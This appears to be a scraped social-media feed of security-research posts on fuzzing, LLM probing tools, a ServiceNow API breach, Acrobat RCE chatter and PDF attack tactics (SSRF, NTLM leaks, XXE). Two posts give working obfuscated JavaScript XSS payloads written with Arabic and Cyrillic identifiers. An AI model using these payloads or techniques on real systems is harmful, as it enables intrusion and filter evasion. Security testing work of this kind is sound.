A wonderful platform the definitive repository for malware samples, source code, papers, builders & analysis resources. Massive, well-organized collection covering Windows, Linux, macOS and more. VX-Underground.org

Depends on the context. Georgian characters are valid JavaScript identifiers, so they can sometimes be used in XSS payload construction or obfuscation. Example: Actual viability depends on the reflection point, sanitization, encoding, and browser behavior.

AFL++ remains a core fuzzing engine for vulnerability research. Coverage-guided fuzzing is still a primary method for finding memory corruption in real targets. github.com/AFLplusplus/AF…

it's just me, myself and I 💅🏻🎸

XSS Payload Written In Arabic 🇸🇦 ``` ا='',ب=!ا+ا,ت=!ب+ا,ث=ا+{},ج=ب[ا++],ح=ب[خ=ا], د=++خ+ا,ذ=ث[خ+د],ب[ذ+=ث[ا]+(ب.ت+ث)[ا]+ت[د]+ج+ح+ب[خ]+ذ+ج+ث[ا]+ح][ذ](ت[ا]+ت[خ]+ب[د]+ح+ج+"(1)")() ``` XSS Payload Written in Russian 🇷🇺 ``` а='',б=!а+а,в=!б+а,г=а+{},д=б[а++],е=б[ж=а], з=++ж+а,и=г[ж+з],б[и+=г[а]+(б.в+г)[а]+в[з]+д+е+б[ж]+и+д+г[а]+е][и](в[а]+в[ж]+б[з]+е+д+"('взломано')")()

Scared to be lonely 🎼

RAMPART brings agent security testing into CI. Abuse scenarios become regression tests. Worth a look. Source: microsoft.com/en-us/security…

All-in-one XSS toolkit: payload generator, scanner, and dork finder.

Garak is used for probing failure modes in LLM systems (prompt injection, leakage, unsafe outputs). It represents the shift of vuln research toward AI system attack surfaces. github.com/NVIDIA/garak

ServiceNow warned that unknown threat actors had exploited a vulnerability to gain deeper unauthorized access to vulnerable instances in a security incident. that allowed unauthorized access to client instances. The root cause of the issue was lack of enforcement of authentication and authorization in a ServiceNow API endpoint. Potentially, intruders could make unsolicited requests, and even access data from exposed database tables that were supposed to be accessible only by authorized users. thehackernews.com/2026/06/servic…

@I0xxOI كيف حالك ؟! يب XFA + encrypted JS can enable Acrobat RCE on versions before 26.001.21411. ☺️برسلك a prototype

@0x0Huda Superb 😉 Tried blending? PP (CVE-2026-34621) via XFA/form fields for SE + RCE?

↳ Attack the Server-Side Converters If your target converts uploaded PDFs to images or text (e.g., PDFBox, ImageMagick, Apache Tika), throw polyglot payloads at it (like SVG-MSL or XXE in XMP metadata). A simple document conversion pipeline can quickly escalate to arbitrary file read or RCE. ↳ Exploit Embedded Content & Font Engines Test modern PDF viewers by embedding HTML via catalog dictionaries (⁠/AF⁠ + ⁠/EF⁠) or leveraging font matrix injections (e.g., Type1 font breakouts). Verify that your processing sandboxes strictly restrict font rendering engines and external stream fetching. ↳ Automate and Validate Continuously Integrate mal-PDF generation into your automated scanner or CI/CD pipeline. If an uploaded document "phones home" or exfiltrates local environment variables, your parser isolation is failing. Build, test, and lock it down.

Some Actionable Tactics for PDF Security Testing ↳ Test for Out-of-Band (OOB) Interactions Always drop PDFs containing ⁠/URI⁠ actions, GoToE UNC paths, or remote XFA templates. Use Interact[.]sh or Burp Collaborator to catch blind SSRF or silent NTLM hash leaking the moment the parser touches or renders the document. ↳ Bypass Naive Regex Filters Stop relying on basic string checks for ⁠/JS⁠ or ⁠/JavaScript⁠. Attackers stage payloads inside form fields (⁠/V⁠) or use multi-layered obfuscation like FlateDecode compression. Ensure your security tools can unpack and analyze staged streams.